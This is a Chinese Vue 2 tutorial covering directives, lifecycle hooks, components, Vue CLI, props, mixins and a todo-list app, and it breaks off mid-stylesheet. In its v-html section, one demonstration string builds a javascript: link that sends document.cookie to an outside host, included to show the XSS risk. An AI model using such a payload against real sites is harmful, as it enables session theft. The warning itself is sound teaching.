                        v-model : 双向数据绑定

                        v-for   : 遍历数组/对象/字符串

                        v-on    : 绑定事件监听, 可简写为@

                        v-if        : 条件渲染(动态控制节点是否存存在)

                        v-else  : 条件渲染(动态控制节点是否存存在)

                        v-show  : 条件渲染 (动态控制节点是否展示)

                v-text指令:

                        1.作用:向其所在的节点中渲染文本内容。

                        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会,并且不识别html标签。

                v-html指令:

                        1.作用:向指定节点中渲染包含html结构的内容。

                        2.与插值语法的区别:

                                    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

                                    (2).v-html可以识别html结构。

                        3.严重注意:v-html有安全性问题!!!!

                                    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

                                    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!(可能会带走你的cookie哦!!!)

  1. <div id="root">
  2. <div>hello,{{name}}</div>
  3. <div v-html="str"></div>
  4. <div v-html="str2"></div>
  5. </div>
  6. </body>
  7. <script type="text/javascript">
  8. new Vue({
  9. el:'#root',
  10. data:{
  11. name:'阿胜',
  12. str:'<h3>你好啊!</h3>',
  13. str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟冲呀</a>',
  14. }
  15. })
  16. </script>

                v-cloak指令(没有值):

                        1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

                        2.使用css配合v-cloak(css里面用属性原则器【v-cloak】)可以解决网速慢时页面展示出{{xxx}}的问题。

                v-once指令(没有值):

                        1.v-once所在节点在初次动态渲染后,就视为静态内容了。

                        2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<h2 v-once>初始化的n值是:{{n}}</h2>

                v-pre指令:

                    1.跳过其所在节点的编译过程。

                    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

1.23自定义指令

       1.23.1 函数式和对象式

  1. <body>
  2. <div class="root">
  3. <h2>当前的n值是<span v-text="n"></span></h2>
  4. <h2>扩大10倍后的值<span v-big="n"></span></h2>
  5. <button @click="n++">点我值加1</button>
  6. <hr>
  7. <input type="text" v-fbind:value="n">
  8. </div>
  9. <script>
  10. //定义全局指令
  11. /* Vue.directive('fbind',{
  12. //指令与元素成功绑定时(一上来)
  13. bind(element,binding){
  14. element.value = binding.value
  15. },
  16. //指令所在元素被插入页面时
  17. inserted(element,binding){
  18. element.focus()
  19. },
  20. //指令所在的模板被重新解析时
  21. update(element,binding){
  22. element.value = binding.value
  23. }
  24. }) */
  25. new Vue({
  26. el:'.root',
  27. data(){
  28. return {
  29. n:1
  30. }
  31. },
  32. directives:{
  33. //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
  34. /* 'big-number'(element,binding){
  35. // console.log('big')
  36. element.innerText = binding.value * 10
  37. }, */
  38. // 函数式
  39. big(element,binding){
  40. console.log(binding);
  41. element.innerHTML = binding.value * 10
  42. },
  43. // 对象式
  44. fbind:{
  45. // 绑定时调用
  46. bind(element,binding){
  47. console.log('big',this) //注意此处的this是window
  48. element.value= binding.value
  49. },
  50. // 插入是调用
  51. inserted(element,binding){
  52. element.focus()
  53. },
  54. // 模板重新解析时调用
  55. update(element,binding) {
  56. element.value = binding.value
  57. },
  58. }
  59. }
  60. })
  61. </script>
  62. </body>

自定义指令总结:

                        一、定义语法:

                                    (1).局部指令:

                                                new Vue({ directives:{指令名:配置对象}) 或者     

                                                new Vue({ directives{指令名:回调函数})                             

                                    (2).全局指令:

                                                    Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

                        二、配置对象中常用的3个回调:

                                    (1).bind:指令与元素成功绑定时调用。

                                    (2).inserted:指令所在元素被插入页面时调用。

                                    (3).update:指令所在模板结构被重新解析时调用。

                        三、备注:

                                    1.指令定义时不加v-,但使用时要加v-;

                                    2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

                                     3.注意!!!里面的this不是vue,是window!

1.24生命周期

        1.24.1引出生命周期

生命周期:

                        1.又名:生命周期回调函数、生命周期函数、生命周期钩子。

                        2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。

                        3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

                        4.生命周期函数中的this指向是vm 或 组件实例对象。

  1. <body>
  2. <div class="root">
  3. <h2 :style="{opacity}">史蒂芬·胜</h2>
  4. </div>
  5. <script>
  6. const vm = new Vue({
  7. el:'.root',
  8. data() {
  9. return {
  10. opacity:1
  11. }
  12. },
  13. mounted() {//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  14. setInterval(() => {
  15. this.opacity-=0.1
  16. if(this.opacity <= 0) this.opacity = 1
  17. }, 100);
  18. },
  19. })
  20. /* window.onload = ()=>{//不推荐,这样写就不需要vm了,浪费内存
  21. setInterval(() => {
  22. vm.opacity-=0.1
  23. if(vm.opacity <= 0) vm.opacity = 1
  24. }, 100);
  25. } */
  26. </script>
  27. </body>

        1.24.2生命周期总结

常用的生命周期钩子:

                        1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

                        2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

                关于销毁Vue实例

                        1.销毁后借助Vue开发者工具看不到任何信息。

                        2.销毁后自定义事件会失效,但原生DOM事件依然有效。

                        3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

需要注意是:

前面的创建是数据代理和数据监视,一定不要以为是vm哦!!!

 

  1. <body>
  2. <div class="root">
  3. <h2 :style="{opacity}">史蒂芬·胜</h2>
  4. <button @click="stop">点我嗝屁</button>
  5. <button @click="opacity=1">点我变回原来模样</button>
  6. </div>
  7. <script>
  8. const vm = new Vue({
  9. el:'.root',
  10. data() {
  11. return {
  12. opacity:1
  13. }
  14. },
  15. methods: {
  16. stop(){
  17. vm.$destroy()
  18. }
  19. },
  20. mounted() {//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  21. this.timer = setInterval(() => {
  22. this.opacity-=0.1
  23. console.log('救命啊');
  24. if(this.opacity <= 0) this.opacity = 1
  25. }, 100);
  26. },
  27. beforeDestroy() {//这个以后再组件的时候,方便他杀哈哈
  28. clearInterval(this.timer)
  29. },
  30. })
  31. /* window.onload = ()=>{//不推荐,这样写就不需要vm了,浪费内存
  32. setInterval(() => {
  33. vm.opacity-=0.1
  34. if(vm.opacity <= 0) vm.opacity = 1
  35. }, 100);
  36. } */
  37. </script>
  38. </body>

2.Vue组件化编程

        2.1组件化理解

        模块

                1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件

                2. 为什么: js 文件很多很复杂

                3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
        组件
        1. 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)
        2.为什么: 一个界面的功能很复杂
        3. 作用: 复用编码, 简化项目编码, 提高运行效率
模块化
当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。(就是把一个js文件拆成多个)
组件化
当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

        2.2非单文件组件

        非单文件组件:一个文件里有多个组件

        单文件组件:一个文件里有1个组件

Vue中使用组件的三大步骤:

                    一、定义组件(创建组件)

                    二、注册组件

                    三、使用组件(写组件标签)

            一、如何定义一个组件?

                        使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;

                        区别如下:

                                1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

                                2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。

                        备注:使用template可以配置组件结构。

            二、如何注册组件?

                            1.局部注册:靠new Vue的时候传入components选项

                            2.全局注册:靠Vue.component('组件名',组件)

            三、编写组件标签:

                            <school></school>

  1. <body>
  2. <div class="root">
  3. <Hello></Hello>
  4. <School></School>
  5. <Student></Student>
  6. </div>
  7. <hr>
  8. <div class="root2">
  9. <Hello></Hello>
  10. </div>
  11. <script>
  12. const School = Vue.extend({
  13. template:`
  14. <div>
  15. <h2>孤狼名称:{{name}}</h2>
  16. <h2>孤狼地区:{{address}}</h2>
  17. </div>
  18. `,
  19. data() {
  20. return {
  21. name:'西伯利亚土狗',
  22. address:'西伯利亚'
  23. }
  24. },
  25. })
  26. const Student = Vue.extend({
  27. template:`
  28. <div>
  29. <h2>学生名称:{{name}}</h2>
  30. <h2>学生地区:{{address}}</h2>
  31. </div>
  32. `,
  33. data() {
  34. return {
  35. name:'蒙奇D路飞',
  36. address:'风车村'
  37. }
  38. },
  39. })
  40. const Hello = Vue.extend({
  41. template:`
  42. <div>
  43. <h2>你好!{{name}}</h2>
  44. </div>
  45. `,
  46. data() {
  47. return {
  48. name:'大马猴',
  49. }
  50. },
  51. })
  52. Vue.component('Hello',Hello)//全局声明
  53. new Vue({
  54. el:'.root',
  55. components:{
  56. School,
  57. Student
  58. }
  59. })
  60. new Vue({
  61. el:'.root2',
  62. })
  63. </script>
  64. </body>

        2.3组件注意事项

几个注意点:

                    1.关于组件名:

                                一个单词组成:

                                            第一种写法(首字母小写):school

                                            第二种写法(首字母大写):School

                                多个单词组成:

                                            第一种写法(kebab-case命名):my-school

                                            第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

                                备注:

                                        (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。

                                        (2).可以使用name配置项指定组件在开发者工具中呈现的名字。

                    2.关于组件标签:

                                第一种写法:<school></school>

                                第二种写法:<school/>

                                备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

                    3.一个简写方式:

                                const school = Vue.extend(options) 可简写为:const school = options

        2.4组件嵌套

  1. <body>
  2. <div class="root">
  3. <App></App>
  4. </div>
  5. <script>
  6. // 定义student组件
  7. const Student = Vue.extend({
  8. template:`
  9. <div>
  10. <h2>学生名称:{{name}}</h2>
  11. <h2>学生地区:{{address}}</h2>
  12. </div>
  13. `,
  14. data() {
  15. return {
  16. name:'蒙奇D路飞',
  17. address:'风车村'
  18. }
  19. },
  20. })
  21. // 定义school组件
  22. const School = Vue.extend({
  23. template:`
  24. <div>
  25. <h2>孤狼名称:{{name}}</h2>
  26. <h2>孤狼地区:{{address}}</h2>
  27. <Student></Student>
  28. </div>
  29. `,
  30. data() {
  31. return {
  32. name:'西伯利亚土狗',
  33. address:'西伯利亚'
  34. }
  35. },
  36. components:{
  37. Student
  38. }
  39. })
  40. // 定义hello组件
  41. const Hello = Vue.extend({
  42. template:`
  43. <div>
  44. <h2>你好!{{name}}</h2>
  45. </div>
  46. `,
  47. data() {
  48. return {
  49. name:'大马猴',
  50. }
  51. },
  52. })
  53. // 定义APP组件
  54. const App = Vue.extend({
  55. template:`
  56. <div>
  57. <School></School>
  58. <Hello></Hello>
  59. </div>
  60. `,
  61. components:{
  62. Hello,
  63. School
  64. }
  65. })
  66. Vue.component('Hello',Hello)//全局声明
  67. new Vue({
  68. el:'.root',
  69. template:`
  70. <div>
  71. <App></App>
  72. <hr>
  73. <App></App>
  74. </div>
  75. `
  76. ,
  77. components:{
  78. App
  79. }
  80. })
  81. </script>
  82. </body>

2.5 Vuecomponent

关于VueComponent:

                        1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

                        2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象, 即Vue帮我们执行的:new VueComponent(options)。

                        3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

                        4.关于this指向:

                                (1).组件配置中:

                                            data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。

                                (2).new Vue(options)配置中:

                                            data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

                        5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。

                            Vue的实例对象,以后简称vm。

2.6一个重要的内置关系

                1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype

                2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

  1. <body>
  2. <div class="root">
  3. </div>
  4. <script>
  5. // 定义一个构造函数
  6. function demo() {
  7. this.a = 1
  8. this.b = 2
  9. }
  10. // 创建一个demo实例对象
  11. const d =new demo()
  12. // 显式原型属性 和 隐式原型属性 他俩统统指向一个对象:原型对象
  13. // 只有函数有显式原型属性,实例对象有隐式原型属性
  14. console.log(demo.prototype);//显式原型属性
  15. console.log(d.__proto__);//隐式原型属性
  16. console.log(demo.prototype === d.__proto__);
  17. console.log(d);
  18. new Vue({
  19. el:'.root',
  20. data() {
  21. return {
  22. }
  23. },
  24. })
  25. </script>
  26. </body>

2.7单文件组件

Student.vue

  1. <template>
  2. <div class="demo">
  3. <h2>姓名:{{name}}</h2>
  4. <h2>住址:{{address}}</h2>
  5. <button @click="showhaha">点我嘻哈哈</button>
  6. </div>
  7. </template>
  8. <script>
  9. // 简写
  10. export default {
  11. name:'Student',
  12. data() {
  13. return {
  14. name:'路飞',
  15. address:'风车村'
  16. }
  17. },
  18. methods: {
  19. showhaha(){
  20. alert('xixi')
  21. }
  22. },
  23. }
  24. </script>
  25. <style>
  26. .demo {
  27. background-color: skyblue;
  28. }
  29. </style>

School.vue

  1. <template>
  2. <div class="demo">
  3. <h2>姓名:{{name}}</h2>
  4. <h2>住址:{{address}}</h2>
  5. <button @click="showhaha">点我嘻哈哈</button>
  6. </div>
  7. </template>
  8. <script>
  9. // export分别暴露
  10. /* export const school = Vue.extend({
  11. data() {
  12. return {
  13. name:'路飞',
  14. address:'风车村'
  15. }
  16. },
  17. methods: {
  18. showhaha(){
  19. alert('xixi')
  20. }
  21. },
  22. }) */
  23. // 统一暴露
  24. /* const school = Vue.extend({
  25. data() {
  26. return {
  27. name:'路飞',
  28. address:'风车村'
  29. }
  30. },
  31. methods: {
  32. showhaha(){
  33. alert('xixi')
  34. }
  35. },
  36. })
  37. export{school} */
  38. // 默认暴露
  39. /* const school = Vue.extend({
  40. data() {
  41. return {
  42. name:'路飞',
  43. address:'风车村'
  44. }
  45. },
  46. methods: {
  47. showhaha(){
  48. alert('xixi')
  49. }
  50. },
  51. })
  52. export default school */
  53. // 使用默认暴露,引入的时候用 import ... from ...
  54. // 使用统一暴露或者分别暴露,引入的时候用 import {...} from ...
  55. // 简写
  56. export default {
  57. name:'School',
  58. data() {
  59. return {
  60. name:'海贼培训基地',
  61. address:'东海'
  62. }
  63. },
  64. methods: {
  65. showhaha(){
  66. alert('xixi')
  67. }
  68. },
  69. }
  70. </script>
  71. <style>
  72. .demo {
  73. background-color: skyblue;
  74. }
  75. </style>

App.vue

  1. <template>
  2. <div>
  3. <School></School>
  4. <Student></Student>
  5. </div>
  6. </template>
  7. <script>
  8. import School from './School.vue'
  9. import Student from './Student.vue'
  10. export default {
  11. name:'App',
  12. components:{
  13. School,Student
  14. }
  15. }
  16. </script>
  17. <style>
  18. </style>

main.js

  1. import App from './App.vue'
  2. new Vue({
  3. el:'.root',
  4. components:{
  5. App
  6. }
  7. })

index.html

  1. <body>
  2. <div class="root">
  3. <App></App>
  4. </div>
  5. <script src="../js/vue.js"></script>
  6. <script src="./main.js"></script>
  7. </body>

注意:

         使用默认暴露,引入的时候用  import ... from ...

         使用统一暴露或者分别暴露,引入的时候用  import {...} from ...

使用情况在school.vue代码里面有

 3.Vue.cli脚手架(command line interface)

3.1初始化脚手架

最重要!!!        安装脚手架之前首先需要安装node.js

3.1.1说明

        1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
        2. 最新的版本是 4.x。
        3. 文档: vue.cli

3.1.2 具体步骤

第一步(仅第一次执行):全局安装@vue/cli。
                npm install -g @vue/cli
第二步: 切换到你要创建项目的目录 ,然后使用命令创建项目
                vue create xxxx
第三步:启动项目
                npm run serve
当需要暂停项目时:Ctrl+C
注意:
1. 如出现下载缓慢请配置 npm 淘宝镜像:
        npm config set registry https://registry.npm.taobao.org
2. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,
请执行:
         vue inspect > output.js

3.1.3分析脚手架结构

  1. ├── node_modules
  2. ├── public
  3. │ ├── favicon.ico: 页签图标
  4. │ └── index.html: 主页面
  5. ├── src
  6. │ ├── assets: 存放静态资源
  7. │ │ └── logo.png
  8. │ │── component: 存放组件
  9. │ │ └── HelloWorld.vue
  10. │ │── App.vue: 汇总所有组件
  11. │ │── main.js: 入口文件
  12. ├── .gitignore: git 版本管制忽略的配置
  13. ├── babel.config.js: babel 的配置文件
  14. ├── package.json: 应用包配置文件
  15. ├── README.md: 应用描述文件
  16. ├── package-lock.json:包版本控制文件

3.1.4render函数

关于不同版本的Vue:

        1.vue.js与vue.runtime.xxx.js的区别:

                (1).vue.js是完整版的Vue,包含:核心功能+模板解析器。

                (2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。

        2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用

            render函数接收到的createElement函数去指定具体内容。

  1. new Vue({
  2. render: h => h(App),
  3. }).$mount('#app')

3.1.5修改默认配置

Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpack 配置, 请执行:
        vue inspect > output.js
不可以改的配置:文件夹:public、src;favicon.con、index.html、main.js
1、先创建一个vue.config.js
2、前往vue官网找到vue cli ,复制配置参考里面的pages

配置参考 | Vue CLI

语法检查lintOnSave(和pages同级)

  1. module.exports = {
  2. pages: {
  3. index: {
  4. // page 的入口
  5. entry: 'src/main.js'
  6. }
  7. },
  8. lintOnSave:false//关闭语法检查
  9. }

3.2ref属性

ref属性

1. 被用来给元素或子组件注册引用信息(id的替代者)
2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
3. 使用方式:
    1. 打标识:```<h1 ref="xxx">.....</h1>``` 或 ```<School ref="xxx"></School>```
    2. 获取:```this.$refs.xxx```

  1. <template>
  2. <div class="demo">
  3. <h2>姓名:{{name}}</h2>
  4. <h2 ref="title">住址:{{address}}</h2>
  5. <button @click="showInfo" >点我显示DOM元素</button>
  6. <button @click="showhaha">点我嘻哈哈</button>
  7. </div>
  8. </template>
  9. <script>
  10. // 简写
  11. export default {
  12. name:'MyStudent',
  13. data() {
  14. return {
  15. name:'路飞',
  16. address:'风车村'
  17. }
  18. },
  19. methods: {
  20. showhaha(){
  21. alert('xixi')
  22. },
  23. showInfo(){
  24. console.log(this.$refs.title);
  25. // console.log(document.querySelector('#title'));
  26. }
  27. },
  28. }
  29. </script>
  30. <style>
  31. .demo {
  32. background-color: skyblue;
  33. }
  34. </style>


3.3props配置

props配置项

1. 功能:让组件接收外部传过来的数据(外部数据优先级大于内部)

2. 传递数据:```<Demo name="xxx"/>```

3. 接收数据:

    1. 第一种方式(只接收):```props:['name'] ```

    2. 第二种方式(限制类型):```props:{name:String}```

    3. 第三种方式(限制类型、限制必要性、指定默认值):
        props:{
            name:{
            type:String, //类型
            required:true, //必要性
            default:'老王' //默认值
            }
        }

    > 备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

student.vue

  1. <template>
  2. <div class="demo">
  3. <h2>姓名:{{name}}</h2>
  4. <h2>年龄:{{myage+1}}</h2>
  5. <h2>性别:{{sex}}</h2>
  6. <button @click='myage++'>点我年龄++</button>
  7. </div>
  8. </template>
  9. <script>
  10. // 简写
  11. export default {
  12. name:'MyStudent',
  13. data() {
  14. return {
  15. myage:this.age
  16. }
  17. },
  18. // props:['sex','name','age']//简单接受
  19. //接受的同时,对类型进行限制
  20. /* props:{
  21. name:String,
  22. age:Number,
  23. sex:String
  24. } */
  25. //接受的同时,对类型进行限制+必要的限制
  26. props:{
  27. name:{
  28. type:String,
  29. required:true//必要的
  30. },
  31. sex:{
  32. type:String,
  33. required:true//必要的
  34. },
  35. age:{
  36. type:Number,
  37. default:99//默认
  38. }
  39. }
  40. }
  41. </script>
  42. <style>
  43. .demo {
  44. background-color: skyblue;
  45. }
  46. </style>

app.vue 

  1. <template>
  2. <div>
  3. <MyStudent name='路飞' sex='man' :age='18'/>
  4. <MyStudent name='娜美' sex='woman' />
  5. </div>
  6. </template>
  7. <script>
  8. import MyStudent from './components/Student'
  9. function extend() {
  10. }
  11. export default {
  12. name:'App',
  13. components:{
  14. MyStudent
  15. }
  16. }
  17. </script>
  18. <style>
  19. </style>

3.4mixin(混合、混入)

mixin(混入)

1. 功能:可以把多个组件共用的配置提取成一个混入对象(内部数据优先级大于外部)

2. 使用方式:

    第一步定义混合:

    ```
    {
        data(){....},
        methods:{....}
        ....
    }
    ```

    第二步使用混入:

    ​    全局混入:```Vue.mixin(xxx)```全局混入时在main.js里面引入


    ​    局部混入:```mixins:['xxx']    ```

mixin.js

  1. export const a = {
  2. methods: {
  3. showName(){
  4. alert(this.name)
  5. console.log(666);
  6. }
  7. },
  8. }

student.vue

  1. <template>
  2. <div class="demo">
  3. <h2 @click="showName">姓名:{{name}}</h2>
  4. <h2>年龄:{{myage}}</h2>
  5. <h2>性别:{{sex}}</h2>
  6. <button @click='myage++'>点我年龄++</button>
  7. </div>
  8. </template>
  9. <script>
  10. // import {a} from '../mixin.js'
  11. // 简写
  12. export default {
  13. name:'MyStudent',
  14. data() {
  15. return {
  16. name:'路飞',
  17. age:18,
  18. myage:this.age,
  19. sex:'man'
  20. }
  21. },
  22. // mixins:[a]
  23. }
  24. </script>
  25. <style>
  26. .demo {
  27. background-color: skyblue;
  28. }
  29. </style>

school.vue

  1. <template>
  2. <div class="demo">
  3. <h2 @click="showName">姓名:{{name}}</h2>
  4. <h2>住址:{{address}}</h2>
  5. <button>点我嘻哈哈</button>
  6. </div>
  7. </template>
  8. <script>
  9. // import {a} from '../mixin.js'
  10. export default {
  11. name:'MySchool',
  12. data() {
  13. return {
  14. name:'海贼培训基地',
  15. address:'东海'
  16. }
  17. },
  18. // mixins:[a]
  19. }
  20. </script>
  21. <style>
  22. .demo {
  23. background-color: skyblue;
  24. }
  25. </style>

app.vue

  1. <template>
  2. <div>
  3. <MyStudent/>
  4. <MySchool/>
  5. </div>
  6. </template>
  7. <script>
  8. import MySchool from './components/School'
  9. import MyStudent from './components/Student'
  10. export default {
  11. name:'App',
  12. components:{
  13. MyStudent,MySchool
  14. }
  15. }
  16. </script>
  17. <style>
  18. </style>

main.js

  1. /*
  2. 该文件是整个项目的入口文件
  3. */
  4. // 引入vue
  5. import Vue from 'vue'
  6. // 引入APP组件,它是所有组件的父组件
  7. import App from './App.vue'
  8. // 关闭vue生产提示
  9. Vue.config.productionTip = false
  10. import {a} from './mixin.js'
  11. Vue.mixin(a)
  12. // 创建vue实例
  13. new Vue({
  14. render: h => h(App),
  15. }).$mount('#app')

3.5.插件

插件

1. 功能:用于增强Vue

2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

3. 定义插件:

    ```js
    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    ```

4. 使用插件:```Vue.use()```

3.6scoped样式

scoped样式

1. 作用:让样式在局部生效,防止冲突。
2. 写法:```<style scoped>```

3.7todoList案例

myItem

  1. <template>
  2. <li>
  3. <label>
  4. <input type="checkbox" :checked='todo.done' @click="handleCheck(todo.id)"/>
  5. <span>{{todo.title}}</span>
  6. </label>
  7. <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
  8. </li>
  9. </template>
  10. <script>
  11. export default {
  12. name:'MyItem',
  13. props:['todo','checkTodo','deleteTodo'],
  14. methods: {
  15. handleCheck(id){
  16. this.checkTodo(id)
  17. },
  18. handleDelete(id){
  19. if(confirm('确定删除吗'))
  20. this.deleteTodo(id)
  21. }
  22. },
  23. }
  24. </script>
  25. <style scoped>
  26. /*item*/
  27. li {
  28. list-style: none;
  29. height: 36px;
  30. line-height: 36px;
  31. padding: 0 5px;
  32. border-bottom: 1px solid #ddd;
  33. }
  34. li label {
  35. float: left;
  36. cursor: pointer;
  37. }
  38. li label li input {
  39. vertical-align: middle;
  40. margin-right: 6px;
  41. position: relative;
  42. top: -1px;
  43. }
  44. li button {
  45. float: right;
  46. display: none;
  47. margin-top: 3px;
  48. }
  49. li:before {
  50. content: initial;
  51. }
  52. li:last-child {
  53. border-bottom: none;
  54. }
  55. li:hover {
  56. background-color: #ddd;
  57. }
  58. li:hover button{
  59. display:block;
  60. }
  61. </style>

mylist

  1. <template>
  2. <ul class="todo-main">
  3. <MyItem v-for="item in todos"
  4. :key='item.id'
  5. :todo='item'
  6. :checkTodo='checkTodo'
  7. :deleteTodo="deleteTodo"
  8. />
  9. </ul>
  10. </template>
  11. <script>
  12. import MyItem from './MyItem.vue'
  13. export default {
  14. name:'MyList',
  15. components:{MyItem},
  16. props:['todos','checkTodo','deleteTodo']
  17. }
  18. </script>
  19. <style scoped>
  20. /*main*/
  21. .todo-main {
  22. margin-left: 0px;
  23. border: 1px solid #ddd;
  24. border-radius: 2px;
  25. padding: 0px;
  26. }
  27. .todo-empty {
  28. height: 40px;
  29. line-height: 40px;
  30. border: 1px solid #ddd;
  31. border-radius: 2px;
  32. padding-left: 5px;
  33. margin-top: 10px;
  34. }
  35. </style>

myheader

  1. <template>
  2. <div class="todo-header">
  3. <input type="text" placeholder="请输入你的任务名称,按回车键确认" @keyup.enter="add" />
  4. </div>
  5. </template>
  6. <script>
  7. import {nanoid} from "nanoid";
  8. export default {
  9. name:'MyHeader',
  10. props:['receive'],
  11. methods: {
  12. add(e){
  13. //将输入的变成对象,id是唯一的,通过nanoid方法获得
  14. // trim()方法可以去掉文字两边的空格
  15. if(e.target.value !== ''){
  16. const todoObj = {id:nanoid(),title:e.target.value.trim(),done:false}
  17. this.receive(todoObj)
  18. e.target.value=''
  19. }else{
  20. alert('内容为空')
  21. }
  22. }
  23. },
  24. }
  25. </script>
  26. <style scoped>
  27. /*header*/
  28. .todo-header input {
  29. width: 560px;
  30. height: 28px;
  31. font-size: 14px;
  32. border: 1px solid #ccc;
  33. border-radius: 4px;
  34. padding: 4px 7px;
  35. }
  36. .todo-header input:focus {
  37. outline: none;
  38. border-color: rgba(82, 168, 236, 0.8);
  39. box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
  40. }
  41. </style>

myfooter

  1. <template>
  2. <div class="todo-footer" v-show="todos.length">
  3. <label>
  4. <input type="checkbox" :checked="todoDone == todos.length &&todos.length>0" @change="checkAll"/>
  5. </label>
  6. <span>
  7. <span>已完成{{todoDone}}</span> / 全部{{todos.length}}
  8. </span>
  9. <button class="btn btn-danger" @click="clearTodo">清除已完成任务</button>
  10. </div>
  11. </template>
  12. <script>
  13. export default {
  14. name:'MyFooter',
  15. props:['todos','clearAll'],
  16. computed:{
  17. /* todoDone(){
  18. let i = 0
  19. this.todos.forEach((todo) => {
  20. if(todo.done) i++
  21. })
  22. return i
  23. } */
  24. todoDone(){
  25. // pre是上一次返回的值,第一次是后面开始统计的数0,current是遍历的每一个对象
  26. return this.todos.reduce((pre,current)=>pre +(current.done ? 1 :0),0)
  27. }
  28. },
  29. methods:{
  30. checkAll(e){
  31. this.todos.forEach(todo => {
  32. todo.done = e.target.checked
  33. })
  34. },
  35. clearTodo(){
  36. if(confirm('确定删除吗')) this.clearAll()
  37. }
  38. }
  39. }
  40. </script>
  41. <style scoped>
  42. /*footer*/
  43. .todo-footer {
  44. height: 40px;
  45. line-height: 40px;
  46. padding-left: 6px;
  47. margin-top: 5px;
  48. }
  49. .todo-footer label {
  50. display: inline-block;
  51. margin-right: 20px;
  52. cursor: pointer;
  53. }
  54. .todo-footer label input {
  55. position: relative;
  56. top: -1px;
  57. vertical-align: middle;
  58. margin-right: 5px;
  59. }
  60. .todo-footer button {
  61. float: right;
  62. margin-top: 5px;
  63. }
  64. </style>

myapp

  1. <template>
  2. <div id="root">
  3. <div class="todo-container">
  4. <div class="todo-wrap">
  5. <MyHeader :receive='receive'/>
  6. <MyList :todos='todos' :checkTodo='checkTodo' :deleteTodo='deleteTodo'/>
  7. <MyFooter :todos='todos' :clearAll="clearAll"/>
  8. </div>
  9. </div>
  10. </div>
  11. </template>
  12. <script>
  13. import MyHeader from './components/MyHeader.vue'
  14. import MyFooter from './components/MyFooter.vue'
  15. import MyItem from './components/MyItem.vue'
  16. import MyList from './components/MyList.vue'
  17. export default {
  18. name:'App',
  19. components:{
  20. MyHeader,MyFooter,MyItem,MyList
  21. },
  22. data() {
  23. return {
  24. todos:[
  25. {id:'001',title:'看假面骑士',done:true},
  26. {id:'002',title:'海贼王',done:false},
  27. {id:'003',title:'开车',done:true}
  28. ]
  29. }
  30. },
  31. methods:{
  32. // 添加一个todo项
  33. receive(todoObj){
  34. this.todos.unshift(todoObj)
  35. },
  36. // 勾选框
  37. checkTodo(id){
  38. this.todos.forEach((todo)=>{
  39. if(todo.id == id) todo.done = !todo.done
  40. })
  41. },
  42. // 删除
  43. deleteTodo(id){
  44. this.todos = this.todos.filter(todo=>todo.id !== id )
  45. },
  46. // 清除做了的
  47. clearAll(){
  48. this.todos = this.todos.filter(todo=> !todo.done)
  49. }
  50. }
  51. }
  52. </script>
  53. <style>
  54. /*base*/
  55. body {
  56. background: #fff;
  57. }
  58. .btn {
  59. display: inline-block;
  60. padding: 4px 12px;
  61. margin-bottom: 0;
  62. font-size: 14px;
  63. line-height: 20px;
  64. text-align: center;
